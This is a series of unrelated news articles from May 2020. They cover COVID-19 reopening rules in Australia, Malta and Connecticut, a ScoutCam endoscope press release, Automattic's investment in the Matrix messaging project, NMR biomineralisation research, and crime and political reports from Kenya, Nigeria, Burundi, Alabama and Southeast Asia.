NSW Treasurer Dominic Perrottet said the Government was moving to swiftly and safely get businesses back in business and people back to work.

'There are about 280,000 people employed in this sector of the economy and allowing venues to safely cater for more customers will provide another boost to business and jobs,' Mr Perrottet said.

'NSW is opening back up for business, and as we ease restrictions everybody needs to follow the health and safety guidelines, to ensure we make it a success and can continue.'

Deputy Premier John Barilaro said the move was a big boost for regional areas

Minister for Customer Service Victor Dominello, who is responsible for liquor and gaming regulation, said the NSW Government has met with both AHA and ClubsNSW to deliver this plan.

'This has been really considered and thought out to make sure we have the best regulatory settings in place,' Mr Dominello said.

Victoria has announced that 20 people will be allowed in a restaurant or cafe at once from June 1.

Queensland currently caps numbers at 10 and will allow 20 from 12 June.

South Australia is allowing a venues to host 10 diners outdoors, 10 indoors and serve alcohol from June 5.

Western Australia already allows 20 patrons to be inside a pub at once.

The Northern Territory opened pubs on 15 May with no numbers cap.
[May 22, 2020] ScoutCam Achieved Breakthrough with Healthcare's First of its kind OR-Ready Wireless Endoscope

OMER, Israel, May 22, 2020 (GLOBE NEWSWIRE) -- ScoutCam (OTC: SCTC), a company developing and manufacturing customized visual solutions to organizations by offering the world's smallest cameras and supplementary technologies, today announced a breakthrough with the successful integration of the companys wireless micro ScoutCam into medical endoscope devices, formally introducing the healthcare industrys first operating room-ready wireless endoscope, to the company's knowledge.

The device, which has been cleared for marketing by the U.S. Food and Drug Administration (FDA) and meets the Federal Communications Commission requirements, was developed for a privately held orthopedic company. We believe that the wireless endoscope product revolutionizes the endoscopy industry by implementing a single-use micro camera for medical procedures. ScoutCams new product includes a 1.1mm x 1.1mm complementary metal oxide semiconductor (CMOS) camera that can be disposed after a single-use; for reference, according to The National Center for Biotechnology Information (NCBI), the average endoscope used in procedures measures around 8mm x 10mm. The endoscopic process is a massive undertaking that frequently requires multiple instruments and cleaning procedures, and we are thrilled that our micro ScoutCam can be utilized to simplify the endoscopic process, said Yaron Silberman, Chief Executive Officer of ScoutCam. Not only does the wireless endoscope aid the FDAs recent recommendation that medical facilities should transition to disposable endoscopic instruments, we also believe that it streamlines endoscopic surgeries and processes. The camera of the waterproof micro ScoutCam, which can also be used in orthopedics and general surgery, is smaller than a grain of rice. Other product features include: High resolution and image quality

Close minimal focal distance of 3mm

Protection from operating room interferences

Zero latency In minimally invasive surgeries, endoscopies are time consuming, yet critical healthcare procedures. Within the United States alone, according to iData Research11, 75 million endoscopic surgeries are conducted each year. The complicated procedure has traditionally been performed using the same medical equipment, post sterilization. The FDA only recently issued a recommendation to hospitals and other medical facilities to shift from reusable duodenoscopes to he single-use variants. The recommendation came as a result of the risk of cross-contamination between patients, and will likely drive the adoption of single-use endoscopes into other body cavities.



With the introduction of ScoutCams wireless, single-use endoscope, which is intended to be used in the treatment of carpal tunnel syndrome at ambulatory surgical centers, the company intends to provide a new technology to increase the efficiency of the procedure, while meeting FDA standards. According the American College of Rheumatology22, carpal tunnel syndrome affects 4  10 million Americans, who may be eligible for a now more seamless endoscopic surgery. ScoutCams devices have also been implemented into rigid, semi-flexible, steerable and flexible endoscopes. 1 https://idataresearch.com/an-astounding-19-million-colonoscopies-are-performed-annually-in-the-united-states/

2 https://www.rheumatology.org/I-Am-A/Patient-Caregiver/Diseases-Conditions/Carpal-Tunnel-Syndrome ScoutCam is continuing its work with the privately held orthopedic company to develop a second generation wireless endoscope, which is expected to reach a wider range of orthopedic procedures. About ScoutCam ScoutCam is a leading provider of customized visual solutions for organizations across a variety of industries in the form of highly resistant micro cameras and supplementary technologies. ScoutCam devices are used across the medical, aerospace, industrial, research and defense industries. For more information please visit: https://www.scoutcam.com Cautionary Note Regarding Forward Looking Statements Information set forth in this news release contains forward-looking statements that are based on the Companys expectations, beliefs, assumptions and intentions regarding, among other things, its product-development efforts, business, financial condition, results of operations, strategies or prospects, as of the date of this news release. They are not guarantees of future performance. Forward-looking statements can be identified by the use of forward-looking words such as believe, expect, intend, plan, may, should or anticipate or their negatives or other variations of these words or other comparable words or by the fact that these statements do not relate strictly to historical or current matters. The Company cautions that all forward-looking statements are inherently uncertain and that actual performance may be affected by a number of material factors, many of which are beyond the Company's control. Such factors include, among other things: risks and uncertainties relating to, inter alia, the spread of COVID-19, including any resultant restrictions on our business operations and/or its negative impact on our financial condition; the Companys reliance on third-party suppliers; market acceptance of our products by prospect markets and industries; the Company's ability to raise sufficient funding in order to meet the Companys business and financial goals; and certain other factors summarized in the Companys filings with the SEC. Accordingly, actual and future events, conditions and results may differ materially from the estimates, beliefs, intentions and expectations expressed or implied in the forward looking information. Except as required under applicable securities legislation, the Company undertakes no obligation to publicly update or revise forward-looking information. Contact Yaron Silberman

Chief Executive Officer

[email protected]

[ Back To TMCnet.com's Homepage ]
A rare white grizzly bear has been spotted in Canada's Rocky Mountains.

A family out for a drive on a remote highway in Banff National Park came across the young white bear searching for food in the snow with a brown bear along the side of the road.

Cara Nelson, who shot video of the rare sighting last month, told CBC: "We're talking polar bear white. For us, it was a once-in-a-lifetime opportunity. Which is probably the only reason we decided to slow down and take a little bit of video of it, because normally we could come across bears on a regular basis."

The bear's white coat colour is down to genetics. Kris Hundertmark, assistant professor of wildlife ecology at University of Alaska Fairbanks, suggested that the white coloration in bears can be attributed to an unusual recessive gene.

A recessive gene would need to be present in both parents for the cub to have a white coat.

The white cub belongs to the grizzly bear subspecies and is different from the Kermode bear, or "spirit bear", which also have white fur caused by a rare recessive gene, and are a subspecies of the North American black bear.

In a statement, Parks Canada told The Independent: "The sub-adult grizzly and its sibling are known to Parks Canada and have been spending their time between Banff and Yoho national parks in Canada. These grizzlies are believed to be about 3.5 years old and this will be their second year away from their mother.

"The unique white colour is believed to be caused by a natural colour phase variation. Grizzly bears are typically brown, black or blonde, however there have been records of grizzly bears with a white colour phase variation. This is unusual for grizzly bears but has been seen before.

"Human and wildlife safety is of the utmost importance to Parks Canada. Observing wildlife in their natural habitat is a privilege that comes with a responsibility to treat wildlife with the respect they deserve and need. Keeping wildlife wild is a shared responsibility  we all have a role to play."
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Nairobi, May 20, 2020  In response to Burundian authorities blocking of social media networks during todays presidential elections, the Committee to Protect Journalists issued the following statement:

Cutting off access to social media platforms will severely undermine journalists ability to cover this election, and violates citizens rights to the timely information they need to make decisions and to monitor electoral developments, said CPJ sub-Saharan Africa Representative Muthoki Mumo. Authorities in Burundi should immediately end all internet disruptions and maintain access in the post-election period.

Users sporadically could not access WhatsApp and websites including Facebook, YouTube, and Twitter in Burundi today, according to media reports and a statement from the digital rights organization Access Now. Elections are being held in the country today to choose a successor to President Pierre Nkurunziza, who is stepping down after 15 years in power, according to reports. Some users have been able to circumvent the blocks through the use of virtual private network (VPN) software, according to Access Now.

In a May 18 letter, CPJ and 30 other rights organizations called on President Nkurunziza to maintain internet access during and after the elections. The letter noted that at least three news independent news sites are blocked in the country.
Source: Xinhua| 2020-05-23 01:48:38|Editor: huaxia

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VALLETTA, May 22 (Xinhua) -- Residents at Malta's elderly homes will start to receive visits again of their relatives as from Monday, the Maltese government said on Friday.

The announcement came as a relaxation of measures imposed more than two months ago to curb the spread of COVID-19.

The relatives will be guided to a specific visiting point in accordance with the ward of the person they want to visit. Meetings will be limited to 15 minutes, and a perspex barrier will divide the elderly people and their relatives.

Meanwhile, visitors must wear masks at all times and have their temperature taken beforehand.

The visits will have to be booked at least two days earlier and no more than four people will be allowed to visit at one go.

Malta stopped visits to care homes in March, soon after the coronavirus pandemic hit the island. Enditem
Eid al-Fitr or Eid ul-Fitr or Meethi Eid marks the end of Ramadan, also referred to as Ramzan, the Islamic holy month of fasting and is celebrated by Muslims all across the globe. Eid al-Fitr or the Festival of breaking fast celebrations are said to begin on May 23 and continue until May 24, however, the actual date may vary as per the moon sighting. The start date of any lunar Hijri month varies according to the new moon sighting by religious authorities, and since Eid al-Fitr also marks the first day of Shawwal month, it is celebrated on different days across regions.

Saudi Arabia Supreme Court has asked Muslims throughout the country to report the sighting of the crescent moon.

The court said: Whoever sights the moon with naked eyes or through binoculars, report to the nearest court and register testimony, or report to an authority of a regions centre in the area.

Astronomers at the observatory of Majmaah University near Riyadh in Saudi Arabia confirmed on Thursday that the crescent moon of Shawwal is unlikely to be sighted on Friday, Ramadan 29 (May 22, 2020).

Sources at the observatory said, According to the scientific calculations that were published on the astronomical observatory site that sun will set at 6.39 pm at 293 degrees, and moon will set at 6.26 pm Friday, Ramadan 29, and this means the moon will set 13 minutes before the sunset.

On Saturday, Ramadan 30, corresponding to May 23, the sun will set at 6.40 pm at 239 degrees, and the crescent moon will set at 7.23 pm at 293 degrees, meaning that the crescent will stay on for 43 minutes after sunset at an altitude of 8.84 and elongation of 10.60, they continued.

Astronomers from Abu Dhabis International Astronomical Centre said Eid al-Fitr would most likely fall on May 24 as spotting the new moon would be impossible due to the setting of the moon before the sun. In the wake of the novel coronavirus, the committee will meet remotely via video conferencing.

The Islamic or Hijri calendar is determined by moon cycles, which last either 29 or 30 days. The presence of a new moon signals the start of a new month.

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The policy of rejecting new inmates into the Correctional centres Nationwide to avoid infection of the old inmates has been condemned by the human rights defenders of Nigeria (HURIDE).

Human Rights, Liberty Access and Peace Defenders Foundation (HURIDE), which decried this position, said this has swelled the already congested Police cells all over the country .

The chairman, Board of Trustees ( BoT), HURIDE, Dede Uzor A Uzor and its Pubcity Secretary Elder Charles Ebilite in a statement weekend in Onitsha, said the policy negates the fight to reduce the spread of Covid-19 among Nigeria citizens.

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He said the Police facilities even before Covid-19 was already congested with suspects, now that every suspect is kept in Police cells even the ones already arraigned in Court, it is better imagined how the Police facilities all over the country would look like?

He said the situation reports they gathered from Police cells all over the country indicated that virtually all the cells in the country are filled beyond their capacities, thus posing serious danger of the suspects contacting the disease.

The group argued that Correctional Centres are more equipped to take these suspects both in manpower and facilities, suggesting that before they accept, test should be conducted on them.

Those who tested positive should be quarantined within the Centre both those who are not should be allowed.

Against this backdrop, the group called on the Federal Government and the Ministry of Internal Affairs to provide at least one Correctional Centre in each State with testing kits, an isolation centre to take care of new inmates.

The practice of turning suspects back to Police cell should be discontinued they said.

The President had in his address to the nation directed that the judiciary should release those inmates with minor offence as a way of decongesting Correctional Centres.

Some State Chief Judges had since carried this directive, while some especially in the South East States have observed it in breach.

The group therefore called on the Chief Judges of the 36 State and Abuja, who have not carried out the exercise to reduce Correctional Centres in the States to do that.

For those who have done the exercise, HURIDE lauded them but appealed that the exercise should be a continuous one until the pandemic is wiped out.

The group also called the Inspector General of Police (IG), to direct the State Commissioners of Police to direct the Divisional Police Officers (DPOs) in their respective States to grant bails to suspects with minor cases to decongest Police cells this time around.
Detectives from the Directorate of Criminal Investigations on Thursday morning arrested three police officers for aiding a Ugandan suspect escape custody at Kamkunji Police Station on May 13.

Investigators arrested Corporal Vacity Chebet Kemeres, and police constables Stephen Akuom Ochieng and Elias Koome Mungaria after reviewing CCTV footage which identified them releasing the kidnapping suspect.

It is crystal clear that the trio deliberately and without permission released the suspect on the morning of May 13, 2020 at around 5:05 am, a source at Kamukunji police station said.

The trio was later arraigned before the Milimani criminal court and charged with aiding the escape of a suspect from lawful custody, an offence which attracts a 7-year jail term under the Penal Code.

They were accused of colluding with others not before the court to help Martin Wasike escape from custody on May 13.

Appearing before principal magistrate Esther Kimilu, the officers denied the charges and pleaded to be released on a free bond or lenient bond terms.

Through lawyer Ken Odhiambo, the cops said they have no links with the suspect who is at large or his case.

RELATED: Three in Court For Kidnapping Police Constable

But lawyer Alfred Nyandiemo, who is representing the kidnapped officer, Police Constable Abel Misati, opposed the application for bail and bonds.

Nyandiemo said the cops are directly linked to the case because they worked with Misati, who is still missing and feared dead.

Magistrate Kimilu freed the officers on Sh 200,000 bond. They were remanded at Muthaiga police station until they meet the bond terms.
Cabinet of Ministers announces new contest for head of National Health Service of Ukraine

The Cabinet of Ministers of Ukraine has announced a new contest for the post of Head of the National Health Service of Ukraine (NHS).

The respective announcement was posted on the website of the vacant state service office on May 22.

The documents are accepted by May 25.

Among the requirements for a candidate, in particular, work experience in public service positions of category 'A' or 'B' or in positions not lower than the heads of structural divisions in local self-government bodies or experience in senior positions in the field of state financial guarantees of medical care for the population at least three years.

Such a requirement, in particular, does not make it possible for NHS representatives to take part in the competition.

In addition, the requirements include a higher education not lower than a master's degree, a total work experience of at least seven years, fluency in the Ukrainian language, and knowledge of a foreign language, which is one of the official languages of the Council of Europe (English and/or French).

As reported, during the government meeting on May 20, Health Minister Maksym Stepanov reported that there was no winner in the contest for the post of NHS head.
You live and then you die

Native Sun News Today Columnist

Dozens of American Indian Tribal Leaders across America are at these moments of this early spring, gathering their people to talk of decisions to be made that will not be business as usual. They will be the cause of unimaginable loneliness. These acts of courage, how to choose the fears and confront them will be told as history. It is a time of endemic viral infection throughout the world.

It is no accident that Harold Frazier of the Cheyenne River Sioux Tribe of what is now South Dakota calls for a shutdown of mostly alien traffic through his Reserve as the Viral Plague called Corona sweeps the prairie in this year, 2020. A man of insight and history, he is trying to avoid mass burials so familiar to his Tribe.

His people, the Minneconjou Lakota have a history. They were the ones who crawled away from a different plague, made up of the roaring guns of a white supremacist Army called The Seventh Cavalry in 1890. The roar, when it was ended, was called the Wounded Knee Massacre.

It is no accident, either, that Julian Bear Runner made the same call for a shutdown of the roads this same year on the Oglala Homelands (Pine Ridge Reservation) because it was his tribal leaders , friends and relatives of over a hundred years ago who buried the massacre survivors. They fed the people who were still alive while it was snowing outside and they tried to sing the honor songs to those who would have to answer the question of the future: who would live and who would die. It is still the prevailing question for every Indian in this country.

Dozens of tribal nation leaders throughout America these days are struggling to make good their vows to defend the people because there is now great panic about the future.

President Donald Trump is on the air waves making speeches to the public, this one today is to his Catholic supporters in Milwaukee. Just Stay Calm, he says. It will go away.

"We know that this virus does not travel--it's the people with the virus that travel": Chairman Harold Frazier @CRSTChairman of Cheyenne River Sioux Tribe tells @CNN of need for #Coronavirus checkpoints on reservation amid threat from GOP @govkristinoem in #SouthDakota. #COVID19 pic.twitter.com/ojceOOQ41t  indianz.com (@indianz) May 10, 2020

As I listen to the news I wonder where he gets his information. Its not the information I am getting. When I read my latest issue of the New York Times, it said that infection cases are increasing in what are being called the red states, and South Dakota is one of them.

The others are Texas, Alabama, Kentucky, and North Dakota. There is a surge in the infections which have been spiking since February. No stay home order in these red states, has been demanded by these governors, according to the New York Times data tracking service, and the administration is getting ready to open up everything.

Trump says that being president has granted him total authority to close and open businesses whenever he wants.

Contact Elizabeth Cook-Lynn at ecooklynn@gmail.com

Copyright permission Native Sun News Today

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Automattic, the open source force behind WordPress .com, WooCommerce, Longreads, Simplenote and Tumblr, has made a $4.6M strategic investment into New Vector -- the creators of an open, decentralized communications standard called Matrix. They also develop a Slack rival (Riot) which runs on Matrix.

The investment by Automattic, which is at a higher valuation than the last tranche New Vector took in, extends an $8.5M Series A last year, from enterprise tech specialists Notion Capital and Dawn Capital plus European seed fund Firstminute Capital -- and brings the total raised to date to $18.1M (which includes an earlier $5M in strategic investment from an Ethereum-based secure chat and crypto wallet app, Status).

New Vector's decentralized tech powers instant messaging for a number of government users, including France -- which forked Riot to launch a messaging app last year (Tchap) -- and Germany, which just announced its armed forces will be adopting Matrix as the backbone for all internal comms. Other users include the likes of KDE, Mozilla, RedHat and Wikimedia, to name a few.

Getting Automattic on board is clearly a major strategic boost for Matrix -- one that's allowing New Vector to dream big.

"It's very much a step forward," New Vector CEO and CTO and Matrix co-founder, Matthew Hodgson, tells TechCrunch. "We're hopefully going to get the support from Automattic for really expanding the ecosystem, bringing Matrix functionality into WordPress -- and all the various WordPress plugins that Automattic does. And likewise open up Matrix to all of those users too."

A blog post announcing the strategic investment dangles the intriguing possibility of a decentralized Tumblr -- or all WordPress sites automatically getting their own Matrix chatroom.

"This is huge news, not least because WordPress literally runs over 36% of the websites on todays web - and the potential of bringing Matrix to all those users is incredible," New Vector writes in the blog post. "Imagine if every WP site automatically came with its own Matrix room or community? Imagine if all content in WP automatically was published into Matrix as well as the web? Imagine there was an excellent Matrix client available as a WordPress plugin for embedding realtime chat into your site?"

Story continues

Those possibilities remain intriguing ideas for now. But as well as ploughing funding into New Vector, Automattic is opening up a job for a Matrix.org/WordPress integrations engineer -- so the Matrix team has another tangible reason to be excited about future integrations.

"One of the best and the biggest open source guys really believes in what we're doing and is interested in trying to open up the worlds of WordPress into the decentralized world of Matrix," adds Hodgson. "In some ways it's reassuring that a relatively established company like Automattic is keeping its eye on the horizon and putting their chips on the decentralized future. Whereas they could be 'doing a Facebook' and just sitting around and keeping everything centralized and as locked down as possible."

"It's a bit of a validation," says Matrix co-founder and New Vector head of ops and products, Amandine le Pape. "The same way getting funding from VCs was validation of the fact it's a viable business. Here it's a validation it's actually a mainstream open source project which can really grow."

New Vector co-founders, Matthew Hodgson and Amandine le Pape. Image Credits: New Vector

While the strategic investment offer from Automattic was obviously just a great opportunity to be seized by New Vector, given ideological alignment and integration potential, it also comes at a helpful time, per le Pape, given they've been growing their SaaS business.

"The business model that we're looking at with New Vector to go and drive -- both to fund Matrix and also to keep the lights on and grow the projects and the company -- is very, very similar to what Automattic have successfully done with WordPress.com," adds Hodgson. "So being able to compare notes directly with their board and our board to go and say to them, 'how do you make this work between the WordPress.org and the WordPress.com split' should be a really useful tool for us."

While Matrix users can choose to host their own servers there's obviously a high degree of complexity (and potential expense) involved in doing so. Hence New Vector's business model is to offer a paid Matrix hosting service, called Modular, where it takes care of the complexity of hosting for a fee. (Marketing copy on the Modular website urges potential customers to "Sign up and deploy your own secure chat service in seconds!")

"Some of our highest-profile customers like Mozilla could go and run it themselves, obviously. Mozilla knows tech. But in practice it's a lot easier and a lot cheaper overall for them to just go and get us to run it," adds Hodgson. "The nice thing is that they have complete self-sovereignty over their data. It's their DNS. We give them access to the database. They could move off at any time ... switch hosting provider or run it themselves. [Users] typically start off with us as a way to get up and running."

Talking of moving, Hodgson says he expects Automattic to move from Slack to Riot following this investment.

I am very excited about what New Vector is doing with Matrix -- creating a robust, secure, open protocol that can bring all flavors of instant messaging and collaboration together, in the way that the web or email has its foundation layer," added Automattic founder, Matt Mullenweg, in a supporting statement. "I share New Vectors passion for open source and the power of open standards. Im excited to see how Automattic and New Vector can collaborate on our shared vision in the future."

Mullenweg was already a supporter of Matrix, chipping into its Patreon back in 2017. At the time the team was transitioning from being incubated and wholly financed by Amdocs, a telco supplier where New Vectors' co-founders used to work (running its unified comms division), to spinning out and casting around for new sources of funding to continue development of their decentralized standard.

Some three years on -- now with another multimillion dollar tranche of funding in the bank -- Hodgson says New Vector is able to contemplate the prospect of profitability ahead, with ~16.8 million users and 45,000 deployments at this point (up from 11M and 40K back in October).

"I think there's also a high chance -- touch wood -- that this injection gives us a path straight through to profitability if needed," he tells us. "Given the macroeconomic uncertainty thanks to the [COVID-19] pandemic, the opportunity to say we have this amount of cash in the bank, assuming our customers follow roughly the trajectory that we'd seen so far ... this would be a way to get out the other side without having to depend on any further funding.

"If things are on track we probably would do additional funding next year in order to double down on the success. But right now this at least gives us a pretty chunky safety net."

The coronavirus crisis has been accelerating interest in Matrix "significantly," per Hodgson, as entities that might have been contemplating a switch to decentralized comms down the line feel far greater imperative to take control of their data -- now that so many users are logging on from home.

"As lockdowns began we saw sign-ups increase by a factor of about 10," he says. "It's tapered off a little bit but it was a real scaling drama overnight. We had to launch an entirely new set of videoconferencing deployments on Jitsi's offering, as well as scaling up the hardware for the service, which we run by several times over.

"We're also seeing retention go up, which was nice. We assumed there would be a huge spike of users desperately trying to find a home and then they wouldn't necessarily stick around. In practice they've stuck around more than the existing user base, which is reassuring."

In some cases, New Vector has seen customers radically shrink planned deployment timescales -- from months to a matter of days.

"We literally had one [educational] outfit in Germany reach out and say that tender in September -- we want you to go live on Monday," says Hodgson, noting that in this instance the customer skipped the entire tendering process because they felt they needed a secure system school kids could use. (Privacy concerns ruled out use of centralized options such as Zoom or Microsoft Teams.)

"The biggest impact, from a New Vector perspective at least, has been that a lot of our slower moving, bigger opportunities -- particularly in the public sector with governments -- have suddenly sped up massively," he adds. "Because it was previously a nice to have premium thing -- 'wouldn't it be good if we had our own encrypted messenger and if everybody wasn't using Telegram or WhatsApp to run our country' -- and then suddenly, with the entire population of whichever country it might be suddenly having to work remotely it's become an existential requirement to have high-quality communication, and having that encrypted and self-sovereign is a massive deal."

In terms of competing with Slack (et al), the biggest consideration is usability and UX, according to Hodgson.

So, over the last year, New Vector has hired a dedicated in-house design team to focus on smoothing any overly geeky edges -- though most of this work is yet to be pushed out to users.

"We've actually pivoted the entire development of Riot to be design-led," he says. "It's no longer a whole bunch of developers, like myself, going and hacking away on it -- instead the product owner and the product direction's being laid by the design team. And it is an unrecognizable difference -- in terms of focus and usability.

"Over the coming year we are expecting Riot to basically be rebuilt, at least cosmetically, to get rid of the complexity and the geekiness and the IRC hangovers which we have today in favor of something that can genuinely punch its weight against Slack and Discord."

In another major recent development New Vector switched on end-to-end encryption across the piece in Riot, making it the default for all new non-public conversations (DMs and private chats).

"It's the equivalent of email suddenly mandating PGP and managing not to break everything," says Hodgson of that feat.

A key challenge was to "get parity" with users of the non-encrypted version of Matrix before it could be enabled everywhere -- with associated problems to tackle, such as search.

"Typically we were doing search on the server and if the messages are encrypted the server obviously can't index them -- so we had to shift all of our search capabilities to run client-side. We went and wrote a whole bunch of REST that allows you to basically embed a search engine into Riot on the client, including on the desktop version, so that people can actually reach their encrypted message history there and share it between devices," he explains.

Another focus for the e2e was the verification process -- which is also now built in by default.

"When you now log into Riot it forces you to scan a QR code on an existing login if you've already logged in somewhere. A bit like you do on WhatsApp web but rather than just using it to authenticate you it also goes and proves that you are a legitimate person on that account," he says. "So everyone else then knows to trust that login completely -- so that if there is an attack of some kind, if your admin tries to add a malicious device into your account to spy on you or if there's a man-in-the-middle attack, or something like that, everybody can see that the untrusted device hasn't been verified by you.

"It's basically building out a simple web of trust of your devices and immediate contacts so that you have complete protection against ghost devices or other nastier attempts to go and compromise the account. The combination of using QR codes and also using emoji comparison rather than having to read out numbers to one another is, I think, almost unique now, in terms of creating really, really super robust end-to-end encryption."

The e2e encryption Matrix uses is based on algorithms popularized by the Signal protocol. It was audited by NCC Group in 2016 but plans for the new funding include a full stack audit -- once they've ironed out any teething issues with the new default e2e.

"[We want to] at least pick a path, a particular set of clients and servers -- because we can't do the whole thing, obviously, because Matrix has got 60-70 different apps on it now, or different clients. And there are at least four viable server implementations but we will pick the long-term supported official path and at least find a set which we can then audit and recommend to governments," says Hodgson of the audit plans.

They're also working with Jitsi on a project to make the latter's WebRTC-compatible videoconferencing platform e2e encrypted too -- another key piece as Jitsi's tech is what New Vector offers for video calling via Matrix.

"We partner with Jitsi for the videoconferencing side of things and we're working with them on their e2e encrypted videoconferencing. They [recently] got the world's first WebRTC -based e2e encrypted conferencing going. And they plan to use Matrix as the way to exchange the keys for that -- using also all of the verification process [New Vector has developed for Riot]. Because end-to-end encryption's great, obviously in terms of securing the data -- but if you don't know who you're talking to, in terms of verifying their identity, it's a complete waste of time," adds Hodgson.

So when Jitsi's e2e encryption launches, New Vector will be able to include e2e encrypted videoconferencing as part of its decentralized bundle too.

How much growth is New Vector expecting for Matrix over the next 12 months? "We've tripled almost all of the sizing metrics for the network in the last year, and I think we tripled the year before that so I'm hoping that we can continue on that trajectory," he says.

Another "fun thing" New Vector has been working on since the end of last year is a peer-to-peer version of Matrix -- having developed a "sufficiently lightweight server implementation" that allows Matrix users to run Riot in a decentralized p2p space via a web browser (or via the app on a mobile device).

"We turned on the peer-to-peer network about a month ago now and they're at the point right now of making it persistent -- previously if all of the clients on the network went away then the entire network disappeared, whereas now it has the ability to persist even if people start restarting their browsers and apps. And it's very much a mad science project but as far as I know nobody else is remotely in that ballpark," he says.

"The nice thing is it looks and feels identical to Matrix today. You can use all of the clients, all of the bridges that people have already written ... It just happens to be that the Riot is connecting to a server wedged into itself rather than talking to one sitting on the server ... so it's a total paradigm shift."

"We weren't sure it was going to work at all but in practice it's working better than we could have hoped," he adds. "Over the next year or so we're going to expect to see more and more emphasis on peer-to-peer -- possibly even by default. So that if you install Riot you don't have to pick a server and go through this fairly clunky thing of figuring out what service provider to trust and do you want to buy one from us as New Vector or do you want to use a Swiss ISP. Instead you can start off bobbing around the ocean in a pure peer-to-peer land, and then if you want to persist your data somewhere then you go and find a server to pin yourself to a home on the internet. But it would be a completely different way of thinking about things."

Those interested in dipping a toe in p2p decentralized IM can check out this flavor of Riot in a web browser via p2p.riot.im
Using D-DNP monitoring, the scientists probed fast interaction kinetics such as those underlying the formation of pre-nucleation species that develop within milliseconds when calcium and phosphate ions meet in solution and that precede non-classical solid-liquid phase separation.

21st century societal challenges such as demographic developments and an ageing population demand for new functional materials, such as for bone prostheses. Nature often serves as inspiration when designing these materials. In a recent study published in Analytical Chemistry, a team led by ERC awardee Dennis Kurzbach of the Faculty of Chemistry at the University of Vienna reports an innovative approach for high-resolution real-time monitoring of calcium phosphate mineralisation, which is an important natural process for the formation of, e.g., bone, carapace and teeth. They showed how next generation NMR technology allows to create new knowledge about the efficiency of natural materials.

"Nature unveiling herself before science" is a sculpture by Louis-Ernest Barrias on display at the Musee d'Orsay in Paris. A research collaboration of the University of Vienna and the Sorbonne in Paris now took this credo to heart. In order to create efficient functional materials, nature offers the best recipes by providing evolutionarily successful concepts, says Dennis Kurzbach from the Institute of Biological Chemistry. Kurzbach and his colleagues applied a jointly developed technology, based on NMR spectroscopy, to reveal the secrets of biomineralisation.

Closing gaps of precision

NMR (nuclear magnetic resonance) is an important method to determine the structures of molecules in solution, albeit limited resolution. In order to facilitate real-time monitoring of rapid chemical processes, Dennis Kurzbach and his team developed a new prototype that, based on hyperpolarisation (more specifically Dissolution Dynamic Nuclear Polarisation, D-DNP), provides the scientists with up to 10,000-fold amplified signals in NMR experiments.

With this D-DNP prototype, the scientists can monitor processes taking place on the milliseconds timescale, while at the same time single atoms can be resolved. The prototype encompasses an already patented system to mix various interaction partners within milliseconds and to initiate real-time detection.

Precipitation of ionic solids from solution

Dennis Kurzbach, an expert in methods development, started the proof-of-concept with his Parisian colleague Thierry Azais, who was interested in a better understanding of the initial steps of biomineralisation. Using D-DNP monitoring, the scientists probed fast interaction kinetics such as those underlying the formation of pre-nucleation species that develop within milliseconds when calcium and phosphate ions meet in solution and that precede non-classical solid-liquid phase separation. For the first time, we were able to analytically characterise these pre-nucleation species at high resolution, Kurzbach explains, who has established the cutting-edge technology in the NMR Core Facility of the Faculty of Chemistry within the framework of his ERC Starting Grant.

With their new insights and technology, the researchers are also contributing material to a long-lasting dispute about the theory behind the biomineralisation of calcium phosphate. Some researchers doubt that the pre-nucleation species can be integrated into the classical theoretical framework developed over decades, says Dennis Kurzbach.

The researchers study also provides a kick-off for a recently granted project funded by the Austrian Science Fund FWF, in which Kurzbach intends to use his technology to advance the characterisation of biominerals as well as of the initial chemical processes before nucleation. For example, he aims at clarifying whether the size of the newly discovered species is controllable and if so, whether it is possible to engineer future hardness or brittleness of the macroscopic material.

"Moreover, it will be interesting to see whether we can help to solve the current theoretical shortcomings," Kurzbach says, who graduated not only in chemistry, but also in philosophy. For me, our research goals are also strongly reflected by Aristoteles' ideas: All human beings strive by nature after knowledge. The D-DNP technology now makes it possible to deepen our knowledge of the nature of the materials, which provides important properties to people and society.
A Jefferson County teen is sought after authorities say he pretended to be a female as part of a scheme to lure potential robbery victims to vacant houses.

Tarrant police on Friday charged 18-year-old Ryheme Powell with attempted murder, third-degree theft of property and prostitution. He was already facing similar charges following an arrest by Birmingham police earlier this month.

Officers responded Thursday afternoon to the 1300 block of Hanover Street on a report of shots fired. They made contact with a man who said another man  now identified as Powell  had fired shots at him.

The investigation showed that the victim showed up at that vacant house to meet what he thought was a female for sexual purposes. He had already paid the woman $625 through a banking app.

When he arrived at the house, authorities said, Powell opened the door and opened fire on the victim. The victim was able to escape unharmed.

Investigators say Powell has been posing as a female on an escort website and taking money in advance to perform sex acts. Once the victim shows up, however, Powell reportedly shoots at them in what investigators believe is an attempt to then rob them.

Tarrant police said they have two other similar investigations into Powell underway and believe there could be more victims yet to come forward.

Court records show Birmingham police arrested Powell on similar charges in early May. According to charging documents, Powell robbed a man of his wallet, $750 and a vehicle. Police say the victim had also communicated with Powell believing he was a woman.

In that case, Powell is charged with robbery, fraudulent use of a credit card and kidnapping. He was booked into the Jefferson County Jail on May 1 and was released a couple hours later after posting $70,000 bond.

Powell remains at large. Once captured, his bond will be set at $160,000. Tarrant police ask that anyone else who believes they are a victim of Powell to contact them at 205-849-2811.
No swimming at inland state parks, 15-feet social distancing on shorefront beaches, portable toilets, fewer parking spaces and lifeguards are among the new measures the state Department of Energy and Environmental Protection is doing to keep people safe during the COVID-19 pandemic.

On Wednesday - days before the start of the Memorial Day weekend - DEEP released its plan around the operation and use of Connecticut state park grounds, trails, beaches and boat launches.

RELATED: CT beaches open Memorial Day, and the rules you have to follow
Vietnam has yet to dismantle a string of military shelters set up in a disputed area along its border with Cambodia more than a week after Phnom Penh lodged a diplomatic protest through its embassy in Hanoi, Cambodian Ministry of Foreign Affairs spokesman Kuy Kong said Friday.

The dispute stems from the April 26 discovery of nine shelters, housing from five to six armed Vietnamese soldiers each, by Cambodian police patrolling the border in Kandal province, who asked that the tents be taken down.

Across the border, which has been closed since mid-March to prevent the spread of the coronavirus, authorities in Vietnams An Giang province later said troops had been deployed to guard the area against illegal entrants who could potentially cause an outbreak.

Since then, Kuy Kong said, Cambodian authorities located a total of 31 shelters in what he said are Kandals Koh Thom and Leuk Daek districts, prompting Cambodias embassy in Hanoi to issue a May 13 diplomatic demarche, demanding that the structures be taken down.

Only three were removed, he said, while the other 28 remain in violation of the border treaty ratified in 1985 and other bilateral treaties.

The Vietnamese side said they put their forces there to prevent people from illegally crossing the border, but if they had built their shelters on their land, we would not have sent a letter of protest, he told RFAs Khmer Service.

